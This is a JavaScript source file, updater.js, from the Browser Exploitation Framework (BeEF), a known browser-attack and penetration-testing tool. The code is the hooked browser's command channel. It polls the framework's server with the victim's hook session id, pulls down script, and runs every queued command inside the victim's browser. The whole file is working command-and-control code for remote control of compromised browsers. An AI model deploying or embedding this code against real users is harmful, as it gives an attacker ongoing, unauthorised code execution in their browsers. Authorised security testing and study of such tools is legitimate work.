# Source: updater.js

    //
    // Copyright (c) 2006-2024 Wade Alcorn - wade@bindshell.net
    // Browser Exploitation Framework (BeEF) - https://beefproject.com
    // See the file 'doc/COPYING' for copying permission
    //

    /**
     * Object in charge of getting new commands from the BeEF framework and execute them.
     * The XHR-polling channel is managed here. If WebSockets are enabled,
     * websocket.ls is used instead.
     * @namespace beef.updater
     */
    beef.updater = {

    	/** XHR-polling timeout. */
    	xhr_poll_timeout: "<%= @xhr_poll_timeout %>",

    	/** Hook session name. */
        beefhook: "<%= @hook_session_name %>",

    	/** A lock. */
    	lock: false,

    	/** An object containing all values to be registered and sent by the updater. */
    	objects: new Object(),

    	/**
    	 * Registers an object to always send when requesting new commands to the framework.
    	 * @param {String} key the name of the object.
    	 * @param {String} value the value of that object.
    	 *
    	 * @example beef.updater.regObject('java_enabled', 'true');
    	 */
    	regObject: function(key, value) {
    		this.objects[key] = escape(value);
    	},

    	// Checks for new commands from the framework and runs them.
    	check: function() {
    		if(this.lock == false) {
    			if (beef.logger.running) {
    				beef.logger.queue();
    			}
    			beef.net.flush();
    			if(beef.commands.length > 0) {
    				this.execute_commands();
    			}else {
    				this.get_commands();    /*Polling*/
    			}
    		}
            /* The following gives a stupid syntax error in IE, which can be ignored*/
            setTimeout(function(){beef.updater.check()}, beef.updater.xhr_poll_timeout);
    	},

        /**
         * Gets new commands from the framework.
         */
    	get_commands: function() {
    		try {
    			this.lock = true;
                beef.net.request(beef.net.httpproto, 'GET', beef.net.host, beef.net.port, beef.net.hook, null, beef.updater.beefhook+'='+beef.session.get_hook_session_id(), 5, 'script', function(response) {
                    if (response.body != null && response.body.length > 0)
                        beef.updater.execute_commands();
                });
    		} catch(e) {
    			this.lock = false;
    			return;
    		}
    		this.lock = false;
    	},

        /**
         * Executes the received commands, if any.
         */
    	execute_commands: function() {
    		if(beef.commands.length == 0) return;
    		this.lock = true;
    		while(beef.commands.length > 0) {
    			command = beef.commands.pop();
    			try {
    				command();
    			} catch(e) {
    				beef.debug('execute_commands - command failed to execute: ' + e.message);
                    // prints the command source to be executed, to better trace errors
                    // beef.client_debug must be enabled in the main config
                    beef.debug(command.toString());
    			}
    		}
    		this.lock = false;
    	}
    };

    beef.regCmp('beef.updater');